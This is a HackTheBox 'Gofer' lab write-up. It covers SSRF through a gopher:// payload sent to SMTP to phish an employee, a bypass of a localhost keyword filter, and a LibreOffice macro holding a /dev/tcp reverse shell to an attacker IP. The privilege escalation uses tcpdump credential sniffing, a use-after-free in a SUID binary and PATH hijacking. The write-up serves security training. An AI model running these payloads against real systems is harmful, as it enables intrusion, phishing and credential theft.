HTB: Gofer
TL;DR
Gofer involves the discovery of a hidden, in-development proxy on a subdomain. The challenge is to bypass the Limit directive in order to be able to trigger SSRF. Using the Gopher protocol, you must send an e-mail to a phishing-prone employee known for clicking on all links. The next step is sending a malicious .odt file (LibreOffice Writer Document) which utilizes macros that can be used to gain foothold.
The PrivEsc process begins by using tcpdump
to listen for requests on the box and gain access to an account with the
capability to execute a SUID binary at /usr/local/bin/notes
.
The subsequent phase involves exploiting a use-after-free vulnerability in the binary to bypass authorization.
Finally, the goal is to utilize Path interception to obtain a root shell.
Reconnaissance
nmap
nmap
finds 4 open TCP ports, SSH (22), HTTP (80), and SMB (139 & 445).
1❯ nmap -sC -sV gofer.htb
2Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-02 19:32 CEST
3Nmap scan report for gofer.htb (10.129.47.78)
4Host is up (0.034s latency).
5Not shown: 995 closed tcp ports (conn-refused)
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
8| ssh-hostkey:
9| 3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
10| 256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
11|_ 256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
1225/tcp filtered smtp
1380/tcp open http Apache httpd 2.4.56
14|_http-title: Gofer
15|_http-server-header: Apache/2.4.56 (Debian)
16139/tcp open netbios-ssn Samba smbd 4.6.2
17445/tcp open netbios-ssn Samba smbd 4.6.2
18Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
19
20Host script results:
21| smb2-time:
22| date: 2023-08-02T17:32:49
23|_ start_date: N/A
24| smb2-security-mode:
25| 3:1:1:
26|_ Message signing enabled but not required
27|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
28
29Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
30Nmap done: 1 IP address (1 host up) scanned in 20.67 seconds
Two of these are of immediate interest, which are port 80 (HTTP), and port 139/445 (SMB).
SMTP is showing up as filtered, so it is most likely restricted by a firewall, we will definitely need it for later though.
Samba
After listing the shares we can notice there is a shares
share which we can try and enumerate further.
1❯ smbclient -L \\\\gofer.htb\\
2Password for [WORKGROUP\root]:
3
4 Sharename Type Comment
5 --------- ---- -------
6 print$ Disk Printer Drivers
7 shares Disk
8 IPC$ IPC IPC Service (Samba 4.13.13-Debian)
9SMB1 disabled -- no workgroup available
We were able to connect as a guest, next, we could just browse the share and look for interesting stuff.
1❯ smbclient \\\\gofer.htb\\shares -U %
2Try "help" to get a list of possible commands.
3smb: \> dir
4 . D 0 Fri Oct 28 20:32:08 2022
5 .. D 0 Fri Apr 28 12:59:34 2023
6 .backup DH 0 Thu Apr 27 13:49:32 2023
7
8 5061888 blocks of size 1024. 2157968 blocks available
9smb: \> cd .backup
10smb: \.backup\> dir
11 . D 0 Thu Apr 27 13:49:32 2023
12 .. D 0 Fri Oct 28 20:32:08 2022
13 mail N 1101 Thu Apr 27 13:49:32 2023
14
15 5061888 blocks of size 1024. 2157960 blocks available
16smb: \.backup\> get mail
17getting file \.backup\mail of size 1101 as mail (12.4 KiloBytes/sec) (average 12.4 KiloBytes/sec)
We managed to grab an e-mail backup which gives us some interesting information for later.
1❯ cat mail
2From [email protected] Fri Oct 28 20:29:30 2022
3Return-Path: <[email protected]>
4X-Original-To: [email protected]
5Delivered-To: [email protected]
6Received: from gofer.htb (localhost [127.0.0.1])
7 by gofer.htb (Postfix) with SMTP id C8F7461827
8 for <[email protected]>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
9Subject:Important to read!
10Message-Id: <[email protected]>
11Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
12From: [email protected]
13
14Hello guys,
15
16Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use a .odt format, as documents saved in Office Word are not always well interpreted by LibreOffice.
17
18PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>
HTTP
The website is for a fictional company Gofer; it has little useful info except for location, e-mail, phone number, and the team’s names.
We will keep those in mind and further enumerate the webserver.
We can then enumerate subdirectories.
1❯ gobuster dir -u http://gofer.htb -w /opt/useful/SecLists/Discovery/Web-Content/common.txt
2===============================================================
3Gobuster v3.1.0
4by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
5===============================================================
6[+] Url: http://gofer.htb
7[+] Method: GET
8[+] Threads: 10
9[+] Wordlist: /opt/useful/SecLists/Discovery/Web-Content/common.txt
10[+] Negative Status codes: 404
11[+] User Agent: gobuster/3.1.0
12[+] Timeout: 10s
13===============================================================
142023/08/02 20:17:21 Starting gobuster in directory enumeration mode
15===============================================================
16/.hta (Status: 403) [Size: 274]
17/.htpasswd (Status: 403) [Size: 274]
18/.htaccess (Status: 403) [Size: 274]
19/assets (Status: 301) [Size: 307] [--> http://gofer.htb/assets/]
20/index.html (Status: 200) [Size: 29380]
21/server-status (Status: 403) [Size: 274]
22
23===============================================================
242023/08/02 20:17:32 Finished
25===============================================================
Nothing, let’s move on to vhosts.
1❯ ffuf -u http://FUZZ.gofer.htb -H "Host: FUZZ.gofer.htb" -w /opt/useful/SecLists/Discovery/Web-Content/common.txt
2
3 /'___\ /'___\ /'___\
4 /\ \__/ /\ \__/ __ __ /\ \__/
5 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
6 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
7 \ \_\ \ \_\ \ \____/ \ \_\
8 \/_/ \/_/ \/___/ \/_/
9
10 v1.4.1-dev
11________________________________________________
12
13 :: Method : GET
14 :: URL : http://FUZZ.gofer.htb
15 :: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/Web-Content/common.txt
16 :: Header : Host: FUZZ.gofer.htb
17 :: Follow redirects : false
18 :: Calibration : false
19 :: Timeout : 10
20 :: Threads : 40
21 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500
22________________________________________________
23
24proxy [Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 20ms]
25:: Progress: [4652/4652] :: Job [1/1] :: 791 req/sec :: Duration: [0:00:10] :: Errors: 4651 ::
We found a proxy
vhost that gives us 401, we can try checking what headers it returns.
1❯ curl proxy.gofer.htb -I
2HTTP/1.1 401 Unauthorized
3Date: Wed, 02 Aug 2023 19:26:23 GMT
4Server: Apache/2.4.56 (Debian)
5WWW-Authenticate: Basic realm="Restricted Content"
6Content-Type: text/html; charset=iso-8859-1
Here we can see the WWW-Authenticate which prompts the browser to authenticate using the Basic access authentication
If we refer back to the e-mail backup we found, we know the proxy is using the Limit directive to restrict access to it, so we can try fuzzing the HTTP verbs to see whether we can bypass it with a different verb.
1❯ ffuf -X FUZZ -u http://proxy.gofer.htb -w http-request-methods.txt -fc 401
2
3 /'___\ /'___\ /'___\
4 /\ \__/ /\ \__/ __ __ /\ \__/
5 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
6 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
7 \ \_\ \ \_\ \ \____/ \ \_\
8 \/_/ \/_/ \/___/ \/_/
9
10 v1.4.1-dev
11________________________________________________
12
13 :: Method : FUZZ
14 :: URL : http://proxy.gofer.htb
15 :: Wordlist : FUZZ: http-request-methods.txt
16 :: Follow redirects : false
17 :: Calibration : false
18 :: Timeout : 10
19 :: Threads : 40
20 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500
21 :: Filter : Response status: 401
22________________________________________________
23
24TRACE [Status: 405, Size: 303, Words: 26, Lines: 10, Duration: 20ms]
25:: Progress: [82/82] :: Job [1/1] :: 12 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Unfortunately, it’s returning 401 for all of them except for TRACE
which just returns 405 Method Not Allowed
.
We can instead try to fuzz both HTTP verbs and files/directories.
1❯ wfuzz -X FUZZ -u http://proxy.gofer.htb/FUZ2Z -w /opt/useful/SecLists/Fuzzing/http-request-methods.txt -w /opt/useful/SecLists/Discovery/Web-Content/common.txt --hc 401,404
2********************************************************
3* Wfuzz 3.1.0 - The Web Fuzzer *
4********************************************************
5
6Target: http://proxy.gofer.htb/FUZ2Z
7Total requests: 386630
8
9=====================================================================
10ID Response Lines Word Chars Payload
11=====================================================================
12
13000000023: 403 9 L 28 W 280 Ch "GET - GET - .hta"
14000000025: 403 9 L 28 W 280 Ch "GET - GET - .htpasswd"
15000000024: 403 9 L 28 W 280 Ch "GET - GET - .htaccess"
16000003712: 403 9 L 28 W 280 Ch "GET - GET - server-status"
17000004740: 403 0 L 0 W 0 Ch "HEAD - HEAD - .htpasswd"
18000004738: 403 0 L 0 W 0 Ch "HEAD - HEAD - .hta"
19000004739: 403 0 L 0 W 0 Ch "HEAD - HEAD - .htaccess"
20000008427: 403 0 L 0 W 0 Ch "HEAD - HEAD - server-status"
21000009453: 403 9 L 28 W 280 Ch "POST - POST - .hta"
22000009454: 403 9 L 28 W 280 Ch "POST - POST - .htaccess"
23000009455: 403 9 L 28 W 280 Ch "POST - POST - .htpasswd"
24000011625: 200 1 L 10 W 81 Ch "POST - POST - index.php"
Bingo, index.php
returns 200 with the POST method, let’s check out what’s there.
1❯ curl -XPOST http://proxy.gofer.htb/index.php
2<!-- Welcome to Gofer proxy -->
3<html><body>Missing URL parameter !</body></html>
It says we’re missing the url
parameter, let’s fix that.
And we’ve got a successful SSRF.
SSRF
If we look back at the e-mail backup we found, we learned that there is an employee who keeps clicking on links without paying attention, her name is Jocelyn.
We’re also able to learn they use .odt
to share important documents, this means we could prepare a malicious .odt
file with a reverse shell and hope Jocelyn opens it.
We can use the Gopher protocol to send a command to the SMTP server and hopefully send an e-mail to Jocelyn with a link to the malicious document.
We can figure out Jocelyn’s email by referring back to the previous findings on their website, where we found info about their team, we can use two individuals for this example:
- Tom Buckley
- Jocelyn Hudson
If we refer back to the e-mail backup we found, we can see that the e-mail is addressed from jdavis
to tbuckley
, so
we know the pattern which is the first letter of their first name and then their entire last name.
So Jocelyn’s email would be jhudson
since she’s Jocelyn Hudson.
After taking a look at HackTricks SSRF we are able to craft our payload.
Note: The payload has to be URL-encoded twice, once because of the browser->server communication and then once more because of server->server communication.
1❯ curl -XPOST http://proxy.gofer.htb/index.php?url=gopher://localhost:25/_HELO%2520gofer.htb%250AMAIL%2520FROM:%[email protected]%253E%250ARCPT%2520TO:%[email protected]%253E%250ADATA%250AFrom:%2520%[email protected]%253E%250ATo:%2520%[email protected]%253E%250ADate:%2520Tue,%25202%2520July%25202023%252017:20:26%2520-0400%250ASubject:%2520Urgent%250A%250A%250Ahttp://10.10.14.85:1337/important.odt%250A.%250AQUIT
2<!-- Welcome to Gofer proxy -->
3<html><body>Blacklisted keyword: localhost !</body></html>
There’s some kind of filter, let’s bypass it by using 127.0.0.1
instead since localhost
is blacklisted.
1❯ curl -XPOST http://proxy.gofer.htb/index.php?url=gopher://127.0.0.1:25/_HELO%2520gofer.htb%250AMAIL%2520FROM:%[email protected]%253E%250ARCPT%2520TO:%[email protected]%253E%250ADATA%250AFrom:%2520%[email protected]%253E%250ATo:%2520%[email protected]%253E%250ADate:%2520Tue,%25202%2520July%25202023%252017:20:26%2520-0400%250ASubject:%2520Urgent%250A%250A%250Ahttp://10.10.14.85:1337/important.odt%250A.%250AQUIT
2<!-- Welcome to Gofer proxy -->
3<html><body>Blacklisted keyword: /127 !</body></html>
Now /127
is blacklisted, due to the fact there is also the forward slash; we could do something
like http://[email protected]
since that doesn’t contain /127
.
1❯ curl -XPOST http://proxy.gofer.htb/index.php?url=gopher://[email protected]:25/_HELO%2520gofer.htb%250AMAIL%2520FROM:%[email protected]%253E%250ARCPT%2520TO:%[email protected]%253E%250ADATA%250AFrom:%2520%[email protected]%253E%250ATo:%2520%[email protected]%253E%250ADate:%2520Tue,%25202%2520July%25202023%252017:20:26%2520-0400%250ASubject:%2520Urgent%250A%250A%250Ahttp://10.10.14.85:1337/important.odt%250A.%250AQUIT
2<!-- Welcome to Gofer proxy -->
3220 gofer.htb ESMTP Postfix (Debian/GNU)
4250 gofer.htb
5250 2.1.0 Ok
6250 2.1.5 Ok
7354 End data with <CR><LF>.<CR><LF>
8250 2.0.0 Ok: queued as 91BDE813B
9221 2.0.0 Bye
101
Malicious ODT
We prepare a simple empty Writer document and add a new macro by going to: Tools -> Macros -> Edit Macros
We create our reverse shell macro.
1Sub Main
2 Shell("bash -c 'sh -i 5<> /dev/tcp/10.10.14.85/1234 0<&5 1>&5 2>&5'")
3End Sub
We then have to make sure the document executes the macro when the document is opened by opening: Tools -> Macros -> Organize Macros -> Basic
Next, we click on Assign...
and then switch over to the Events
tab.
Then we have to bind the Open Document
event to the macro we created.
It should look like this:
After that, we are ready to trigger the SSRF to get our reverse shell!
User Shell
Right as we get our reverse shell, we can pop the flag!
user.txt: 324f***********************7d7ed
Afterward, to secure our foothold, we can insert our public ssh
key into ~/.ssh/authorized_keys
for easy ssh
access.
Privilege Escalation
Then, we can run LinPEAS to see whether there are any easy ways of escalation.
There is an interesting SUID binary at /usr/local/bin/notes
but we can’t execute it as it can only be executed by the
owner and the group.
1❯ ls -la /usr/local/bin/notes
2-rwsr-s--- 1 root dev 17168 Apr 28 16:06 /usr/local/bin/notes
Horizontal Privilege Escalation
We can check who is in the group by running cat /etc/group | grep dev
.
1❯ cat /etc/group | grep dev
2plugdev:x:46:
3netdev:x:108:jhudson
4dev:x:1004:tbuckley
And we can see that we need to gain access to tbuckley
to run the SUID binary.
It seems that we didn’t find anything else noteworthy by running LinPEAS outside the fact there is a tcpdump
binary
with cap_net_admin,cap_net_raw=eip
which means we can capture packets as any user on this machine.
Next, we can use the fact we have ssh
access to the box to create a tunnel where we tunnel the output of tcpdump
into wireshark
on our local machine.
ssh [email protected] tcpdump -i lo -U -s0 -w - 'port not 22' | sudo wireshark -k -i -
After a while, we will be able to notice there is a GET request to the proxy that came from localhost.
We can notice there are base64-encoded HTTP credentials, so we can go ahead and decode them.
1❯ echo dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk= | base64 -d
2tbuckley:ooP**************eti
Let’s try and use them to ssh
to the box!
Vertical Privilege Escalation
And we’re in, we can now investigate the notes
binary.
First, we’ll try every input in the application and see how it behaves and what we have to work with.
To use option 8. Backup Notes
we have to be an admin
.
When playing around with the binary, I noticed that when you select option 2. Show User Information
before creating a
user, it will tell you: First create a user!
However, if we create a user, delete the user, and show user information, it now shows us empty user information, which means this is a use-after-free vulnerability.
After deleting the user, the application calls free
which frees the space but there is still a pointer to that address
in memory, so the application thinks there is user data in that memory space.
Then I noticed that if we created a new note after deleting the user, the username would be set to what we entered into the note.
After playing around with the note input, I noticed that if you enter a long enough string, it would also overwrite the user role.
So we can use that to set our role to admin
and try option 8. Backup Notes
By checking out the disassembly we can see the application is calling setuid
at 0x00001474, setgid
at 0x0000147e,
and system
at 0x0000148a
We can see that the tar
command that’s going into system
is not using an absolute path which means we can
try Path interception to spawn a root shell.
1❯ echo "bash" > ~/tar
2❯ chmod +x ~/tar
3❯ export PATH=~:$PATH
And voilá, we have a root shell and have captured the root flag!
root.txt: c5e7***********************b7d6a